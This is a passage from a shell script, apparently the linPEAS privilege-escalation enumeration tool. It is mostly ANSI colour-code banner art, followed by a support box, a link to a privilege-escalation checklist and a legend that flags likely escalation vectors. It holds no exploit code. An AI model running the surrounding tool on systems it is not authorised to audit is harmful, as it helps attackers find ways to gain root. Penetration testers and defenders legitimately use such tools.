\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;147;0m▄\e[48;2;255;147;0m\e[38;2;250;144;0m▄\e[48;2;255;147;0m\e[38;2;238;146;1m▄\e[48;2;254;147;0m\e[38;2;170;117;4m▄\e[48;2;252;147;0m\e[38;2;78;65;5m▄\e[48;2;239;144;1m\e[38;2;36;71;11m▄\e[48;2;220;136;2m\e[38;2;41;122;21m▄\e[48;2;193;124;2m\e[38;2;59;179;31m▄\e[48;2;178;119;4m\e[38;2;69;210;35m▄\e[48;2;129;104;6m\e[38;2;73;219;37m▄\e[48;2;67;87;10m\e[38;2;73;219;37m▄\e[48;2;61;106;15m\e[38;2;73;218;37m▄\e[48;2;52;126;21m\e[38;2;73;218;37m▄\e[48;2;52;150;25m\e[38;2;73;218;37m▄\e[48;2;58;177;30m\e[38;2;73;218;37m▄\e[48;2;63;194;33m\e[38;2;73;218;37m▄\e[48;2;66;204;34m\e[38;2;73;218;37m▄\e[48;2;69;212;36m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;72;219;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;219;37m\e[38;2;73;218;37m▄\e[48;2;72;214;36m\e[38;2;73;218;37m▄\e[48;2;68;207;35m\e[38;2;73;218;37m▄\e[48;2;65;197;34m\e[38;2;73;218;37m▄\e[48;2;61;185;32m\e[38;2;73;218;37m▄\e[48;2;51;157;27m\e[38;2;73;218;37m▄\e[48;2;41;125;21m\e[38;2;73;218;37m▄\e[48;2;40;106;18m\e[38;2;73;218;37m▄\e[48;2;75;92;10m\e[38;2;73;218;37m▄\e[48;2;76;85;10m\e[38;2;73;219;37m▄\e[48;2;112;94;7m\e[38;2;72;216;36m▄\e[48;2;162;113;5m\e[38;2;64;194;33m▄\e[48;2;219;131;0m\e[38;2;50;152;26m▄\e[48;2;231;138;1m\e[38;2;30;65;14m▄\e[48;2;252;147;0m\e[38;2;106;71;5m▄\e[48;2;97;61;4m\e[38;2;30;31;7m▄\e[0m + \e[48;2;186;108;0m\e[38;2;185;108;0m▄\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;247;144;0m▄\e[48;2;255;147;0m\e[38;2;188;113;1m▄\e[48;2;255;147;0m\e[38;2;110;100;8m▄\e[48;2;248;147;0m\e[38;2;72;136;20m▄\e[48;2;206;124;1m\e[38;2;62;175;29m▄\e[48;2;115;81;4m\e[38;2;67;204;34m▄\e[48;2;55;92;13m\e[38;2;72;217;36m▄\e[48;2;60;157;26m\e[38;2;73;218;37m▄\e[48;2;66;195;32m\e[38;2;73;218;37m▄\e[48;2;70;212;35m\e[38;2;73;218;37m▄\e[48;2;72;215;36m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;210;37m\e[38;2;71;214;37m▄\e[48;2;58;142;37m\e[38;2;57;136;37m▄\e[48;2;51;109;39m\e[38;2;54;109;40m▄\e[48;2;36;76;26m\e[38;2;38;71;31m▄\e[0m + \e[48;2;73;63;12m\e[38;2;24;46;20m▄\e[48;2;89;67;7m\e[38;2;54;120;38m▄\e[48;2;67;119;19m\e[38;2;66;192;35m▄\e[48;2;61;177;29m\e[38;2;73;217;37m▄\e[48;2;71;213;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;214;35m\e[38;2;42;129;21m▄\e[48;2;43;131;22m\e[38;2;4;10;2m▄\e[48;2;37;111;19m\e[38;2;4;10;2m▄\e[48;2;60;180;30m\e[38;2;7;22;3m▄\e[48;2;73;218;37m\e[38;2;62;187;31m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;69;208;35m\e[38;2;20;61;10m▄\e[48;2;43;129;22m\e[38;2;4;11;2m▄\e[48;2;38;116;19m\e[38;2;3;8;1m▄\e[48;2;64;192;32m\e[38;2;19;57;10m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;214;36m\e[38;2;71;213;36m▄\e[48;2;55;130;37m\e[38;2;55;123;38m▄\e[48;2;54;108;41m\e[38;2;56;110;44m▄\e[48;2;35;60;30m\e[38;2;35;57;30m▄\e[0m + \e[48;2;37;68;29m\e[38;2;38;61;33m▄\e[48;2;58;132;39m\e[38;2;62;134;45m▄\e[48;2;64;179;36m\e[38;2;55;129;37m▄\e[48;2;72;217;36m\e[38;2;71;210;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;27;82;14m\e[38;2;59;178;30m▄\e[48;2;4;11;3m\e[38;2;3;9;1m▄\e[48;2;0;0;0m\e[38;2;8;18;4m▄\e[48;2;1;3;1m\e[38;2;4;12;2m▄\e[48;2;36;112;19m\e[38;2;54;163;27m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;210;36m\e[38;2;72;217;36m▄\e[48;2;4;11;1m\e[38;2;9;28;4m▄\e[48;2;0;0;0m\e[38;2;6;16;3m▄\e[48;2;1;3;1m\e[38;2;6;15;3m▄\e[48;2;13;39;6m\e[38;2;32;94;15m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;207;36m\e[38;2;67;196;36m▄\e[48;2;52;110;38m \e[48;2;57;101;47m\e[38;2;56;90;47m▄\e[48;2;36;55;31m\e[38;2;38;58;33m▄\e[0m + \e[48;2;40;63;35m\e[38;2;43;67;38m▄\e[48;2;61;117;48m\e[38;2;45;80;38m▄\e[48;2;54;114;39m\e[38;2;52;110;38m▄\e[48;2;64;177;36m\e[38;2;59;150;37m▄\e[48;2;72;217;36m\e[38;2;72;214;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;61;182;30m\e[38;2;73;218;37m▄\e[48;2;45;135;22m\e[38;2;73;218;37m▄\e[48;2;58;174;29m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;212;35m\e[38;2;72;216;36m▄\e[48;2;34;101;17m\e[38;2;11;32;5m▄\e[48;2;34;101;17m\e[38;2;1;2;1m▄\e[48;2;34;98;18m\e[38;2;1;3;1m▄\e[48;2;35;101;18m\e[38;2;1;1;1m▄\e[48;2;35;100;17m\e[38;2;1;3;1m▄\e[48;2;57;170;29m\e[38;2;56;168;28m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;72;218;36m▄\e[48;2;66;197;33m\e[38;2;72;217;36m▄\e[48;2;46;139;23m\e[38;2;73;217;37m▄\e[48;2;54;163;27m\e[38;2;72;217;37m▄\e[48;2;71;212;36m\e[38;2;72;217;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;37m\e[38;2;70;204;36m▄\e[48;2;60;158;37m\e[38;2;53;122;37m▄\e[48;2;52;103;38m\e[38;2;52;104;40m▄\e[48;2;33;54;28m\e[38;2;21;34;18m▄\e[48;2;46;70;41m\e[38;2;49;76;44m▄\e[0m + \e[48;2;49;76;44m\e[38;2;51;78;45m▄\e[48;2;32;51;28m\e[38;2;43;65;37m▄\e[48;2;61;125;45m\e[38;2;81;124;71m▄\e[48;2;54;124;38m\e[38;2;53;113;40m▄\e[48;2;68;202;36m\e[38;2;60;156;37m▄\e[48;2;73;218;37m\e[38;2;72;215;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;216;37m▄\e[48;2;73;217;37m\e[38;2;93;205;61m▄\e[48;2;79;213;44m\e[38;2;121;189;95m▄\e[48;2;85;210;51m\e[38;2;132;184;108m▄\e[48;2;82;211;47m\e[38;2;121;191;93m▄\e[48;2;73;217;37m\e[38;2;85;210;52m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;37;111;20m\e[38;2;71;214;36m▄\e[48;2;1;2;0m\e[38;2;44;128;22m▄\e[48;2;2;4;2m\e[38;2;15;39;8m▄\e[48;2;1;1;1m\e[38;2;29;82;14m▄\e[48;2;13;37;7m\e[38;2;68;204;34m▄\e[48;2;70;210;35m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;74;216;38m▄\e[48;2;82;211;47m\e[38;2;118;191;90m▄\e[48;2;100;200;70m\e[38;2;132;185;108m▄\e[48;2;103;201;72m\e[38;2;127;187;101m▄\e[48;2;98;203;67m\e[38;2;125;189;100m▄\e[48;2;85;209;52m\e[38;2;116;192;88m▄\e[48;2;73;217;37m\e[38;2;80;211;44m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;68;200;35m▄\e[48;2;63;170;35m\e[38;2;54;125;36m▄\e[48;2;51;103;38m\e[38;2;51;99;38m▄\e[48;2;49;101;36m\e[38;2;22;45;17m▄\e[48;2;30;47;26m\e[38;2;45;69;39m▄\e[48;2;51;78;45m \e[0m + \e[48;2;51;78;45m \e[48;2;49;75;43m\e[38;2;51;78;45m▄\e[48;2;30;38;27m\e[38;2;39;59;35m▄\e[48;2;63;123;49m\e[38;2;71;110;62m▄\e[48;2;54;121;37m\e[38;2;56;119;40m▄\e[48;2;68;198;37m\e[38;2;60;158;37m▄\e[48;2;73;218;37m\e[38;2;71;216;36m▄\e[48;2;73;217;37m\e[38;2;73;216;38m▄\e[48;2;91;206;58m\e[38;2;110;196;81m▄\e[48;2;122;191;95m\e[38;2;126;188;100m▄\e[48;2;128;186;102m\e[38;2;130;187;104m▄\e[48;2;140;180;116m\e[38;2;128;187;103m▄\e[48;2;126;188;100m\e[38;2;106;197;76m▄\e[48;2;96;202;64m\e[38;2;75;215;39m▄\e[48;2;73;217;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;74;217;38m\e[38;2;73;217;37m▄\e[48;2;114;194;86m\e[38;2;76;215;40m▄\e[48;2;142;178;121m\e[38;2;94;205;62m▄\e[48;2;150;176;129m\e[38;2;109;196;81m▄\e[48;2;142;180;120m\e[38;2;95;203;63m▄\e[48;2;116;193;88m\e[38;2;76;214;41m▄\e[48;2;78;213;44m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;67;196;36m▄\e[48;2;71;209;37m\e[38;2;60;154;36m▄\e[48;2;59;152;36m\e[38;2;57;138;37m▄\e[48;2;52;110;38m\e[38;2;56;130;37m▄\e[48;2;51;104;38m\e[38;2;30;71;21m▄\e[48;2;20;31;17m\e[38;2;45;69;39m▄\e[48;2;50;78;44m\e[38;2;51;78;45m▄\e[48;2;51;78;45m \e[0m + \e[48;2;51;78;45m\e[38;2;28;43;24m▄\e[48;2;51;78;45m\e[38;2;43;64;38m▄\e[48;2;51;78;45m\e[38;2;52;79;46m▄\e[48;2;34;53;30m\e[38;2;46;71;41m▄\e[48;2;64;124;48m\e[38;2;49;106;36m▄\e[48;2;53;115;38m\e[38;2;57;124;40m▄\e[48;2;63;175;36m\e[38;2;55;126;38m▄\e[48;2;73;217;37m\e[38;2;66;186;36m▄\e[48;2;89;208;56m\e[38;2;73;217;37m▄\e[48;2;111;195;82m\e[38;2;75;215;40m▄\e[48;2;109;197;80m\e[38;2;74;216;38m▄\e[48;2;85;209;52m\e[38;2;73;218;36m▄\e[48;2;73;216;37m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;37m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m\e[38;2;71;214;36m▄\e[48;2;71;212;36m\e[38;2;63;172;36m▄\e[48;2;63;174;35m\e[38;2;57;138;37m▄\e[48;2;58;146;36m\e[38;2;57;137;38m▄\e[48;2;58;139;37m\e[38;2;57;138;37m▄\e[48;2;58;138;37m\e[38;2;54;128;35m▄\e[48;2;50;117;34m\e[38;2;20;44;14m▄\e[48;2;20;32;17m\e[38;2;39;61;34m▄\e[48;2;51;77;44m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;45;69;40m▄\e[48;2;51;78;45m\e[38;2;49;75;43m▄\e[0m + \e[48;2;84;151;67m\e[38;2;98;177;78m▄\e[48;2;43;80;34m\e[38;2;98;177;78m▄\e[48;2;22;39;19m\e[38;2;98;178;78m▄\e[48;2;43;67;38m\e[38;2;81;148;64m▄\e[48;2;40;70;33m\e[38;2;44;78;36m▄\e[48;2;54;127;36m\e[38;2;21;47;15m▄\e[48;2;55;120;39m\e[38;2;54;117;39m▄\e[48;2;56;133;37m\e[38;2;59;133;40m▄\e[48;2;71;211;36m\e[38;2;61;164;37m▄\e[48;2;73;217;36m\e[38;2;71;211;36m▄\e[48;2;73;218;37m\e[38;2;72;218;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;73;218;37m\e[38;2;67;203;34m▄\e[48;2;68;194;37m\e[38;2;40;116;21m▄\e[48;2;58;142;36m\e[38;2;8;21;5m▄\e[48;2;49;120;31m\e[38;2;6;10;5m▄\e[48;2;25;59;16m\e[38;2;73;108;65m▄\e[48;2;15;33;11m\e[38;2;95;157;79m▄\e[48;2;12;25;9m\e[38;2;97;175;77m▄\e[48;2;21;32;19m\e[38;2;99;179;79m▄\e[48;2;23;35;19m\e[38;2;98;178;78m▄\e[48;2;20;34;17m\e[38;2;98;178;78m▄\e[48;2;13;24;11m\e[38;2;98;178;78m▄\e[48;2;16;26;14m\e[38;2;98;177;78m▄\e[0m + \e[48;2;97;176;77m\e[38;2;58;103;46m▄\e[48;2;98;177;78m\e[38;2;94;170;75m▄\e[48;2;98;177;78m\e[38;2;99;179;79m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;97;176;77m\e[38;2;98;177;78m▄\e[48;2;91;165;72m\e[38;2;98;177;78m▄\e[48;2;55;100;44m\e[38;2;98;177;78m▄\e[48;2;15;27;10m\e[38;2;92;168;73m▄\e[48;2;24;46;18m\e[38;2;76;138;61m▄\e[48;2;73;154;53m\e[38;2;54;96;43m▄\e[48;2;74;213;39m\e[38;2;24;48;18m▄\e[48;2;74;222;37m\e[38;2;20;55;11m▄\e[48;2;73;217;37m\e[38;2;31;91;16m▄\e[48;2;73;218;37m\e[38;2;49;145;24m▄\e[48;2;73;218;37m\e[38;2;68;201;35m▄\e[48;2;73;218;37m\e[38;2;73;217;37m▄\e[48;2;73;218;37m\e[38;2;74;220;37m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;73;220;37m▄\e[48;2;73;218;37m\e[38;2;72;214;37m▄\e[48;2;73;218;37m\e[38;2;63;187;32m▄\e[48;2;72;217;36m\e[38;2;41;120;22m▄\e[48;2;74;222;36m\e[38;2;21;52;13m▄\e[48;2;67;203;34m\e[38;2;39;62;34m▄\e[48;2;40;117;21m\e[38;2;64;103;54m▄\e[48;2;14;43;7m\e[38;2;72;126;57m▄\e[48;2;4;12;2m\e[38;2;87;156;69m▄\e[48;2;25;45;21m\e[38;2;97;174;78m▄\e[48;2;71;124;57m\e[38;2;99;177;80m▄\e[48;2;97;168;78m\e[38;2;94;170;75m▄\e[48;2;96;175;77m\e[38;2;103;177;84m▄\e[48;2;98;176;79m\e[38;2;109;183;90m▄\e[48;2;100;178;80m\e[38;2;112;185;94m▄\e[48;2;100;177;80m\e[38;2;111;184;92m▄\e[48;2;99;177;80m\e[38;2;107;182;89m▄\e[48;2;98;177;78m\e[38;2;105;182;85m▄\e[48;2;98;177;78m\e[38;2;103;180;83m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[0m + \e[38;2;54;79;47m▀\e[38;2;72;123;60m▀\e[48;2;97;176;78m\e[38;2;65;87;60m▄\e[48;2;98;177;78m\e[38;2;73;130;59m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;96;172;77m\e[38;2;98;177;78m▄\e[48;2;82;147;65m\e[38;2;98;177;78m▄\e[48;2;66;116;52m\e[38;2;98;177;78m▄\e[48;2;46;78;38m\e[38;2;98;177;78m▄\e[48;2;27;51;20m\e[38;2;98;177;78m▄\e[48;2;28;60;20m\e[38;2;94;169;74m▄\e[48;2;28;67;19m\e[38;2;86;155;69m▄\e[48;2;34;96;19m\e[38;2;69;123;54m▄\e[48;2;42;126;21m\e[38;2;48;86;39m▄\e[48;2;51;148;27m\e[38;2;36;64;28m▄\e[48;2;55;164;28m\e[38;2;26;46;20m▄\e[48;2;60;180;30m\e[38;2;23;39;18m▄\e[48;2;62;186;31m\e[38;2;21;40;17m▄\e[48;2;61;181;31m\e[38;2;19;36;16m▄\e[48;2;67;176;40m\e[38;2;18;32;14m▄\e[48;2;63;173;35m\e[38;2;23;36;19m▄\e[48;2;56;168;29m\e[38;2;27;42;23m▄\e[48;2;53;160;27m\e[38;2;29;45;24m▄\e[48;2;44;133;22m\e[38;2;30;53;25m▄\e[48;2;34;102;17m\e[38;2;52;89;43m▄\e[48;2;20;60;10m\e[38;2;88;148;71m▄\e[48;2;24;47;19m\e[38;2;97;171;78m▄\e[48;2;34;62;27m\e[38;2;98;177;78m▄\e[48;2;55;99;44m\e[38;2;98;177;78m▄\e[48;2;80;144;64m\e[38;2;98;177;78m▄\e[48;2;99;176;79m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;99;177;79m\e[38;2;96;172;76m▄\e[48;2;99;175;79m\e[38;2;85;151;68m▄\e[48;2;95;169;76m\e[38;2;72;121;60m▄\e[48;2;109;180;92m\e[38;2;37;57;32m▄\e[48;2;100;159;85m\e[38;2;38;41;36m▄\e[48;2;72;107;62m\e[38;2;74;74;74m▄\e[0m\e[38;2;44;65;38m▀\e[38;2;31;48;27m▀\e[38;2;31;48;26m▀\e[38;2;31;52;25m▀\e[38;2;41;71;34m▀\e[38;2;59;97;50m▀\e[0m + \e[38;2;95;106;94m▀\e[38;2;81;137;65m▀\e[38;2;91;166;73m▀\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[0m\e[38;2;28;50;23m▀\e[38;2;20;22;20m▀\e[0m + \e[38;2;41;52;39m▀\e[38;2;39;76;30m▀\e[38;2;73;136;57m▀\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[0m\e[38;2;53;97;41m▀\e[38;2;24;44;19m▀\e[38;2;36;41;35m▀\e[0m +'"; + else + echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m + \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m + \e[48;5;65m \e[48;5;16m \e[48;5;22m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;65m \e[49m + \e[48;5;65m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;65m \e[49m + \e[48;5;23m \e[48;5;214m \e[48;5;178m \e[48;5;214m \e[48;5;65m \e[49m + \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;94m \e[48;5;136m \e[48;5;214m \e[48;5;65m \e[49m + \e[48;5;58m \e[48;5;214m \e[48;5;172m \e[48;5;64m \e[48;5;77m \e[48;5;71m \e[48;5;65m \e[49m + \e[48;5;16m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;65m \e[49m + \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;65m \e[49m + \e[48;5;65m \e[48;5;77m \e[48;5;71m \e[48;5;16m \e[48;5;77m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[49m + \e[48;5;65m \e[48;5;16m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[48;5;59m \e[48;5;65m \e[49m + \e[48;5;16m \e[48;5;65m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;22m \e[48;5;65m \e[49m + \e[48;5;108m \e[48;5;107m \e[48;5;59m \e[48;5;77m \e[48;5;16m \e[48;5;114m \e[48;5;108m \e[49m" + fi + fi +} + +print_support () { + printf """ + ${GREEN}/---------------------------------------------------------------------------------\\ + | ${BLUE}Do you like PEASS?${GREEN} | + |---------------------------------------------------------------------------------| + | ${YELLOW}Get the latest version${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} | + | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} | + | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | + |---------------------------------------------------------------------------------| + | ${BLUE}Thank you! ${GREEN} | + \---------------------------------------------------------------------------------/ +""" +} + +########################################### +#-----------) Starting Output (-----------# +########################################### + +echo "" +if [ ! "$QUIET" ]; then print_banner; print_support; fi +printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; +echo "" +printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" +echo "" +printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC +echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m," +echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW}," +echo " RED: You should take a look to it" | sed "s,RED,${SED_RED}," +echo " LightCyan: Users with console" | sed "s,LightCyan,${SED_LIGHT_CYAN}," +echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE}," +echo " Green: Common things (users, groups, SUID/SGID, 